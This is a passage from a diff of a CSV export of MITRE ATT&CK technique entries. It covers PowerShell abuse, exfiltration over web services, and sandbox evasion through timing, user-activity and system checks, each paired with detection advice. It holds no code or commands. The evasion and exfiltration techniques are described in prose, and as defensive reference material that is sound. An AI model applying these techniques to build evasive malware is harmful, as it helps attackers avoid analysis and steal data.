through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. -Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']","['Phil Stokes, SentinelOne']",,['User'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.001', 'url': 'https://attack.mitre.org/techniques/T1059/001'}, {'url': 'https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx', 'description': 'Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.', 'source_name': 'TechNet PowerShell'}, {'url': 'https://github.com/jaredhaight/PSAttack', 'description': 'Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.', 'source_name': 'Github PSAttack'}, {'source_name': 'Sixdub PowerPick Jan 2016', 'url': 'http://www.sixdub.net/?p=367', 'description': 'Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.'}, {'source_name': 'SilentBreak Offensive PS Dec 2015', 'url': 'https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/', 'description': 'Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.'}, {'source_name': 'Microsoft PSfromCsharp APR 2014', 'url': 'https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/', 'description': 'Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.'}, {'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'source_name': 'Malware Archaeology PowerShell Cheat Sheet'}, {'url': 'https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html', 'description': 'Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.', 'source_name': 'FireEye PowerShell Logging 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1059/001,mitre-attack,T1059.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,PowerShell,"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",True,['User'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/001', 'external_id': 'T1059.001'}, {'source_name': 'TechNet PowerShell', 'description': 'Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx'}, {'source_name': 'Github PSAttack', 'description': 'Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.', 'url': 'https://github.com/jaredhaight/PSAttack'}, {'source_name': 'Sixdub PowerPick Jan 2016', 'description': 'Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.', 'url': 'http://www.sixdub.net/?p=367'}, {'source_name': 'SilentBreak Offensive PS Dec 2015', 'description': 'Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.', 'url': 'https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/'}, {'source_name': 'Microsoft PSfromCsharp APR 2014', 'description': 'Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.', 'url': 'https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/'}, {'source_name': 'Malware Archaeology PowerShell Cheat Sheet', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'}, {'source_name': 'FireEye PowerShell Logging 2016', 'description': 'Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html'}]",1.1,attack-pattern,attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T13:48:55.078Z,2021-05-28T14:56:23.748Z,PowerShell,"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack) -PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736,attack-pattern,['execution'],2020-06-24T13:51:22.360Z,2020-03-09T13:48:55.078Z,"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. +PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",['execution'],https://attack.mitre.org/techniques/T1059/001,mitre-attack,T1059.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) -It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.","['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",['Praetorian'],,"['User', 'Administrator']",['Windows'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1567', 'url': 'https://attack.mitre.org/techniques/T1567'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,False,https://attack.mitre.org/techniques/T1567,mitre-attack,T1567,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Web Service,"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. +It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",True,"['User', 'Administrator']",['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567', 'external_id': 'T1567'}]",1.1,attack-pattern,attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T12:51:45.570Z,2021-10-15T22:50:29.607Z,Exfiltration Over Web Service,"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. -Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807,attack-pattern,['exfiltration'],2020-03-28T01:02:24.276Z,2020-03-09T12:51:45.570Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1497.003', 'url': 'https://attack.mitre.org/techniques/T1497/003'}, {'source_name': 'ISACA Malware Tricks', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,True,https://attack.mitre.org/techniques/T1497/003,mitre-attack,T1497.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Time Based Evasion,"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. +Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",['exfiltration'],https://attack.mitre.org/techniques/T1567,mitre-attack,T1567,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/003', 'external_id': 'T1497.003'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'}, {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'}, {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'}, {'source_name': 'Joe Sec Trickbot', 'description': ""Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."", 'url': 'https://www.joesecurity.org/blog/498839998833561473'}, {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'}]",1.2,attack-pattern,attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T21:11:11.225Z,2021-10-15T22:37:43.854Z,Time Based Evasion,"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. -Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. +Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) -Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0,attack-pattern,"['defense-evasion', 'discovery']",2021-04-01T15:48:28.345Z,2020-03-06T21:11:11.225Z,"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Deloitte Threat Library Team'],"['Host forensic analysis', 'Signature-based detection', 'Static File Analysis', 'Anti-virus']",,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1497.002', 'url': 'https://attack.mitre.org/techniques/T1497/002'}, {'source_name': 'Sans Virtual Jan 2016', 'url': 'https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667', 'description': 'Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.'}, {'source_name': 'Unit 42 Sofacy Nov 2018', 'url': 'https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/', 'description': 'Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.'}, {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,True,https://attack.mitre.org/techniques/T1497/002,mitre-attack,T1497.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,User Activity Based Checks,"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) -Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938,attack-pattern,"['defense-evasion', 'discovery']",2020-07-01T16:32:02.491Z,2020-03-06T21:04:12.454Z,"User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Deloitte Threat Library Team'],"['Anti-virus', 'Static File Analysis', 'Signature-based detection', 'Host forensic analysis']",,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1497.001', 'url': 'https://attack.mitre.org/techniques/T1497/001'}, {'source_name': 'McAfee Virtual Jan 2017', 'url': 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/', 'description': 'Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.'}, {'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'source_name': 'Unit 42 OilRig Sept 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.0,True,https://attack.mitre.org/techniques/T1497/001,mitre-attack,T1497.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Checks,"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1497/003,mitre-attack,T1497.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jorge Orchilles, SCYTHE', 'Ruben Dodge, @shotgunner101', 'Jeff Felling, Red Canary', 'Deloitte Threat Library Team']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Host forensic analysis', 'Signature-based detection', 'Static File Analysis', 'Anti-virus']","Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/002', 'external_id': 'T1497.002'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Sans Virtual Jan 2016', 'description': 'Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667'}, {'source_name': 'Unit 42 Sofacy Nov 2018', 'description': 'Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/'}, {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'}]",1.1,attack-pattern,attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T21:04:12.454Z,2021-10-18T14:57:48.362Z,User Activity Based Checks,"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) + +Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1497/002,mitre-attack,T1497.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Static File Analysis', 'Signature-based detection', 'Host forensic analysis']","User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/001', 'external_id': 'T1497.001'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'McAfee Virtual Jan 2017', 'description': 'Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.', 'url': 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/'}, {'source_name': 'Unit 42 OilRig Sept 2018', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/'}]",2.1,attack-pattern,attack-pattern--29be378d-262d-4e99-b00d-852d573628e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T20:57:37.959Z,2021-10-18T14:57:07.973Z,System Checks,"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. @@ -1083,39 +1250,39 @@ Checks could include generic system properties such as host/domain name and samp Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. -Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",attack-pattern--29be378d-262d-4e99-b00d-852d573628e6,attack-pattern,"['defense-evasion', 'discovery']",2021-04-21T15:16:10.604Z,2020-03-06T20:57:37.959Z,"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Deloitte Threat Library Team'],"['Static File Analysis', 'Signature-based detection', 'Host forensic analysis', 'Anti-virus']",,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1498.002', 'url': 'https://attack.mitre.org/techniques/T1498/002'}, {'external_id': 'CAPEC-490', 'source_name': 'capec', 'url': 